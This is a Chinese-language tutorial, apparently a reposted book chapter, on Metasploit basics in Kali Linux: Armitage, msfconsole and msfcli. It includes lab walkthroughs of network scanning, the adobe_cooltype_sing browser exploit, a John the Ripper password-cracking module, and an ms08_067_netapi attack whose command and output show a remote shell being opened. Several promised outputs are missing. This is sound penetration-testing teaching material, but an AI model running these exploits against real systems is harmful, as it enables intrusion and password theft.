Kali-linux使用Metasploit基礎


Metasploit是一款開源的安全漏洞檢測工具。它可以幫助用戶識別安全問題,驗證漏洞的緩解措施,並對某些軟件進行安全性評估,提供真正的安全風險情報。當用戶第一次接觸Metasploit滲透測試框架軟件(MSF)時,可能會被它提供如此多的接口、選項、變量和模塊所震撼,而感覺無所適從。Metasploit軟件為它的基礎功能提供了多個用戶接口,包括終端、命令行和圖形化界面等。本節將介紹Metasploit下各種接口的使用方法。

6.2.1 Metasploit的圖形管理工具Armitage

Armitage組件是Metasploit框架中一個完全交互式的圖形化用戶接口,由Raphael Mudge所開發。Armitage工具包含Metasploit控制台,通過使用其標簽特性,用戶可以看到多個Metasploit控制台或多個Meterpreter會話。

使用Armitage工具。具體操作步驟如下所示。

(1)啟動Metasploit服務。在使用Armitage工具前,必須將Metasploit服務啟動。否則,無法運行Armitage工具。因為Armitage需要連接到Metasploit服務,才可以啟動。在Kali桌面依次選擇“應用程序”|Kali Linux|“系統服務”|Metasploit|community/pro start命令啟動Metasploit服務,將輸出如下所示的信息:

[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user 'msf3'…
Creating metasploit database 'msf3'…
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).

從輸出的信息中可以看到PostgreSQL 9.1數據庫服務已啟動,並創建了數據庫用戶和數據庫。

(2)啟動Armitage工具。在Kali桌面依次選擇“應用程序”|Kali Linux|“漏洞利用工具集”|“網絡漏洞利用”|armitage命令,如圖6.3所示。或者在終端運行armitage命令啟動Armitage工具,如下所示:

root@kali:~# armitage

圖6.3 啟動armitage界面

(3)啟動armitage工具后,將顯示如圖6.4所示的界面。

圖6.4 連接Metasploit界面

(4)在該界面顯示了連接Metasploit服務的基本信息。在該界面單擊Connect按鈕,將顯示如圖6.5所示的界面。

圖6.5 啟動Metasploit

(5)該界面提示是否要啟動Metasploit的RPC服務。單擊“是(Y)”按鈕,將顯示如圖6.6所示的界面。

圖6.6 連接Metasploit界面

(6)該界面顯示了連接Metasploit的一個進度。當成功連接到Metasploit服務的話,將顯示如圖6.7所示的界面。

圖6.7 Armitage初始界面

(7)該界面共有三個部分,這里把它們分別標記為A、B和C。下面分別介紹這三部分。

  • A:這部分顯示的是預配置模塊。用戶可以在模塊列表中使用空格鍵搜索提供的模塊。
  • B:這部分顯示活躍的目標系統,用戶能執行利用漏洞攻擊。
  • C:這部分顯示多個Metasploit標簽。這樣,就可以運行多個Meterpreter命令或控制台會話,並且同時顯示。

【實例6-1】演示使用Armitage工具做滲透測試。具體操作步驟如下所示。

(1)啟動Armitage工具,界面如圖6.7所示。從該界面可以看到默認沒有掃描到任何主機。這里通過掃描,找到本網絡中的所有主機。

(2)在Armitage工具的菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan命令,將顯示如圖6.8所示的界面。

圖6.8 輸入掃描范圍

(3)在該界面輸入要掃描的網絡范圍,這里輸入的網絡范圍是192.168.41.0/24。然后單擊“確定”按鈕,將開始掃描。掃描完成后,將顯示如圖6.9所示的界面。

圖6.9 掃描結果

(4)從該界面可以看到,彈出了一個掃描完成對話框,此時單擊“確定”按鈕即可。並且在目標系統的窗口中,顯示了三台主機。這三台主機就是掃描到的主機。從掃描完成的對話框中可以看到提示建議選擇Attacks|Find Attacks命令,將可以滲透攻擊目標系統。

(5)在菜單欄中依次選擇Attacks|Find Attacks命令,運行完后將顯示如圖6.10所示的界面。

圖6.10 消息

(6)從該界面可以看到攻擊分析完成,並且右擊掃描到的主機將會看到有一個Attack菜單,如圖6.11所示。

圖6.11 Attack菜單

(7)從該界面可以看到在目標主機的菜單中出現了Attack選項,在該菜單中共有五個選項。在沒有運行Find Attacks命令前,只要Services、Scan和Host三個選項。這里掃描到的主機屏幕都是黑色,這是因為還沒有識別出操作系統的類型。此時可以在菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan(OS detect)命令,掃描操作系統類型。掃描完成后,將顯示操作系統的默認圖標。

(8)掃描操作系統。掃描完成后,將顯示如圖6.12所示的界面。

圖6.12 掃描的操作系統

(9)從該界面可以看到掃描到的目標主機,屏幕發生了變化。此時就可以選擇目標,進行滲透攻擊。

(10)此時,可以在預配置模塊窗口選擇模塊滲透攻擊目標系統,如選擇滲透攻擊瀏覽器模塊。在預配置模塊中依次選擇exploit|windows|browser|adobe_cooltype_sing模塊,雙擊adobe_cooltype_sing模塊,將顯示如圖6.13所示的界面。

圖6.13 模塊配置選項

(11)該界面顯示了adobe_cooltype_sing模塊的默認配置選項信息。這些選項的默認值,可以通過雙擊默認值修改。設置完成后,單擊Launch按鈕,在Armitage窗口將顯示如圖6.14所示的界面。

圖6.14 滲透攻擊結果

(12)從該界面可以看到,使用adobe_cooltype_sing模塊滲透攻擊的過程。從最后的信息中可以看到,滲透攻擊成功運行。以后某台主機訪問http://192.168.41.235:8080/JEdB2oma7AEGV7G鏈接時,將會在目標主機上創建一個名為JEdB2oma7AEGV7G的PDF文件。只要有目標主機訪問該鏈接,Armitage控制台會話中將會顯示訪問的主機,如圖6.15所示。

圖6.15 攻擊信息

(13)從該界面可以看到主機192.168.41.146,訪問了http://192.168.41.235:8080/JEdB2oma7AEGV7G鏈接。並且,可以看到在主機192.168.41.146上創建了PDF文件。

6.2.2 控制Metasploit終端(MSFCONSOLE)

MSF終端(MSFCONSOLE)是目前Metasploit框架最為流行的用戶接口,而且也是非常靈活的。因為MSF終端是Metasploit框架中最靈活、功能最豐富及支持最好的工具之一。MSFCONSOLE主要用於管理Metasploit數據庫,管理會話、配置並啟動Metasploit模塊。本質上來說,就是為了利用漏洞,MSFCONSOLE將獲取用戶連接到主機的信息,以至於用戶能啟動滲透攻擊目標系統。本小節將介紹Metasploit終端(MSFCONSOLE)。

當使用Metasploit控制台時,用戶將使用一些通用的命令,如下所示。

  • help:該命令允許用戶查看執行命令的幫助信息。
  • use module:該命令允許用戶加載選擇的模塊。
  • set optionname module:該命令允許用戶為模塊設置不同的選項。
  • run:該命令用來啟動一個非滲透攻擊模塊。
  • search module:該命令允許用戶搜索一個特定的模塊。
  • exit:該命令允許用戶退出MSFCONSOLE。

MSFCONSOLE漏洞利用的具體操作步驟如下所示。

(1)在終端啟動MSFCONSOLE,執行命令如下所示:

root@kali:~# msfconsole

執行以上命令后,輸出信息如下所示:

輸出的信息出現msf>提示符,表示登錄MSFCONSOLE成功。此時就可以在該命令行運行其他任何命令。

(2)使用search命令搜索所有有效的Linux模塊。對於模塊用戶每次想要執行一個動作,這是一個很好的主意。主要原因是Metasploit各種版本之間,模塊的路徑可能有改變。執行命令如下所示:

msf> search linux

執行以上命令后,輸出信息如下所示:

輸出的信息就是Metasploit中所有有效的模塊。輸出的信息顯示為4列,分別表示模塊名稱、公開時間、等級及描述。以上輸出的內容較多,但是由於篇幅的原因,這里只列出了一少部分內容,省略的內容使用省略號(……)代替。

(3)使用John Ripper linux密碼破解模塊。執行命令如下所示:

msf > use auxiliary/analyze/jtr_linux
msf auxiliary(jtr_linux) >

輸出的信息表示已加載jtr_linux模塊。

(4)查看模塊的有效選項。執行命令如下所示:

從輸出結果中可以看到jtr_linux模塊有5個有效的選項,如Crypt、JOHN_BASE、JOHE_PATH、Munge和Wordlist。在輸出的信息中,對這5個選項分別有詳細的描述。

(5)現在用戶有一個選項的列表,這些選項為運行jtr_linux模塊。用戶能設置獨特的選項,使用set命令。設置JOHN_PATH選項,如下所示:

msf auxiliary(jtr_linux) > set JOHN_PATH /usr/share/metasploit- framework/data/john/ wordlists/password.lst
JOHN_PATH => /usr/share/metasploit-framework/data/john/wordlists/ password.lst

(6)現在運行滲透攻擊,執行命令如下所示:

msf auxiliary(jtr_linux) > exploit

6.2.3 控制Metasploit命令行接口(MSFCLI)

本小節將介紹Metasploit命令行接口(MSFCLI)。為了完成Metasploit的攻擊任務,需要使用一個接口。MSFCLI剛好實現這個功能。為了學習Metasploit或測試/寫一個新的滲透攻擊,MSFCLI是一個很好的接口。

MSF命令行和MSF終端為Metasploit框架訪問提供了兩種截然不同的途徑,MSF終端以一種用戶友好的模式來提供交互方式,用於訪問軟件所有的功能特性,而MSFCLI則主要考慮腳本處理和與其他命令行工具的互操作性。MSFCLI常用的命令如下所示。

  • msfcli:加載所有有效滲透攻擊MSFCLI的列表。
  • msfcli -h:查看MSFCLI幫助文檔。
  • msfcli [PATH TO EXPLOIT] [options = value]:啟動滲透攻擊的語法。

MSF命令行MSFCLI的使用如下所示。

(1)啟動MSF命令行(MSFCLI)。啟動的過程需要一點時間,請耐心等待,這取決於用戶系統的速度。還要注意,隨着MSFCLI負載,可利用的有效列表將顯示出來。執行命令如下所示:

root@kali:~# msfcli
[*] Please wait while we load the module tree…

(2)查看MSFCLI幫助文檔。執行命令如下所示:

以上輸出的信息顯示了msfcli命令的幫助文檔。通過查看這些幫助文檔,可以了解一個模塊的使用說明和使用模式列表。

(3)為了證明前面所說的幫助文檔信息。這里將選擇A選項,顯示模塊的高級選項。執行命令如下所示:

以上信息顯示了xmas模塊的高級選項。輸出信息中對每個選項都有3部分介紹,包括名稱、當前設置及描述信息。

(4)此外,用戶可以使用S模式列出當前模塊的一個摘要信息。這個摘要模式是查看所有有效選項的一個很好的方法。大部分選項是可選的。但是為了使用戶設置目標系統或端口,通常有些選項是必須的。啟動摘要模式滲透攻擊,執行命令如下所示:

以上信息為xmas模塊的摘要信息。這些信息包括xmas模塊的名稱、位置、許可證、級別、提供商、基本選項及描述等。

(5)為顯示滲透攻擊有效的選項列表,可以使用O模式。該模式是用來配置滲透攻擊模塊的,每個滲透攻擊模塊有一套不同的設置選項,也可能沒有。所有必須的選項必須是滲透攻擊允許執行之前設置。從下面的輸出信息中,可以看到許多必須的選項默認已設置。如果是這樣,就不需要更新這些選項值了,除非用戶想要修改它。執行命令如下所示:

輸出的信息顯示了xmas模塊需要的配置選項,如BATCHSIZE、PORTS、RHOSTS、SNAPLEN、THREADS和TIMEOUT。

(6)用戶可以使用E模式運行滲透攻擊測試。執行命令如下所示:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas E

【實例6-2】使用MSFCLI演示滲透攻擊,這里以ms08_067_netapi模塊為例。具體操作步驟如下所示。

(1)查看ms08_067_netapi模塊的配置參數選項。執行命令如下所示:

從輸出的信息中可以看到該模塊有三個配置選項,分別是RHOST、RPORT和SMBPIPE。

(2)查看ms08_067_netapi模塊中可用的攻擊載荷。執行命令如下所示:

輸出的信息顯示了ms08_067_netapi模塊可用的攻擊載荷。該模塊可以攻擊的載荷很多,由於章節的原因,中間部分使用省略號(……)取代了。

(3)這里選擇使用shell_bind/tcp攻擊載荷進行滲透測試。如下所示:

root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.41.146 PAYLOAD= windows/shell/bind_tcp E
[*] Initializing modules…
RHOST => 192.168.41.146
PAYLOAD => windows/shell/bind_tcp
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability…
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.41.146
[*] Command shell session 1 opened (192.168.41.156:60335 -> 192.168.41.146:4444) at 2014-06-06 10:12:06 +0800
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

從輸出的信息中,可以看到成功的從遠程系統上拿到了一個Windows命令行的Shell。這表示滲透攻擊成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM